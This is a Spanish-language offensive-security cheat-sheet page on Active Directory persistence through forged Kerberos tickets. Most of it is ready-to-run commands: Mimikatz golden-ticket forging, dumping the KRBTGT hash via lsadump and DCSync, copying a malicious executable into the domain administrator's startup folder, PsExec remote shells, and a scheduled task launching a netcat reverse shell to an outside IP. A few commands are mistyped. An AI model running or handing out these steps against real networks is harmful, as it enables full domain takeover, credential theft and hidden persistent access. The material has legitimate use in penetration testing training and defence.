Comment on page
Persistencia - Kerberos & Tickets
Hace uso de Mimikatz para solicitar al DC el uso del servicio CIFS/HOST con la cuenta de Administrator.
# Mimikatz
kerberos::golden /domain:domain.local /sid:SID /target:dc.domain.local /service:CIFS /rc4:RC4 /user:administrator /ptt
Invoke-Mimikatz -Command '"kerberos::golden /domain:domain.local /sid:Administrator_SID /target:domain.local /service:HOST /rc4:RC4 /user:Administrator /ptt"'
Ahora que el ticket ha sido creado e inyectado en el proceso actual (/ptt) podemos utilizar el siguiente comando para abrir un nuevo prompt de comandos desde Mimikatz conservando el ticket.
misc::cmd
A continuación, podemos ejecutar los comandos del controlador de dominio.
#list the C$ share
dir \\\\dc.domain.local\\c$
# Map drive
net use Z: \\\\dc.domain.local\\C$
# Copy malware to Domain Administrator startup folder on DC
copy .\\MaliciousFile.exe "\\\\dc.domain.local\\c$\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
# CMD
.\\PsExec.exe -accepteula \\\\dc01.security.local cmd
# Netcat
schtasks /create /sc minute /mo 1 /tn "Persistence" /tr 'c:\\Users\\Administrator\\Downloads/nc.exe IP 443 -e cmd.exe'
Un ataque de golden ticket es un ataque posterior al compromiso de Active Directory en el que una cuenta comprometida, como un administrador de dominio o una cuenta con derechos de DCSync que puede volcar el hash de la cuenta KRBTGT, puede crear un ticket dorado que efectivamente da al atacante persistencia y la capacidad de acceder a cualquier recurso en el dominio. Cada vez que el atacante quiere acceder a un recurso puede efectivamente falsificar un ticket para ese recurso en el que puede utilizar para el acceso.
Con los privilegios de DA, comprueba el privilegio de Mimikatz:
Privilege::debug
Ahora tenemos que sacar información relevante de la cuenta KRBTGT para que podamos construir el ataque Golden Ticket.
lsadump::lsa /inject /name:krbtgt
De la salida necesitamos la siguiente información:
- SID Domain
- KRBTGT NTLM Hash
Después de obtener esta información necesitamos armar el comando de abajo dentro de Mimikatz.
kerberos::golden /User:Administrator /domain:vuln.local /sid:SID /krbtgt:HASH /id:500 /ptt
Donde:
- /Usuario: Puede ser cualquier usuario. No es necesario que la cuenta exista para esto.
- /Domain: es el nombre del dominio
- /SID: es el SID del dominio
- /Krbtgt: es el hash NTLM de la cuenta KRBTGT.
- id: es el RID de la cuenta de administrador que es 500 por defecto.
- ptt: informa a Mimitkaz para que pase el ticket a nuestra siguiente sesión.
💡 Podemos confirmar si esto ha funcionado comprobando la última línea del out for: Ticket dorado para Administrador @ domain.local enviado con éxito para la sesión actual.
A continuación, podemos crear un shell de comandos independiente utilizando el Golden Ticket con el siguiente comando:
misc::powershel.exe
DCSync -Mimikatz
lsadump::dcsync /domain:domain.local /all
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::lsa /patch
Last modified 10mo ago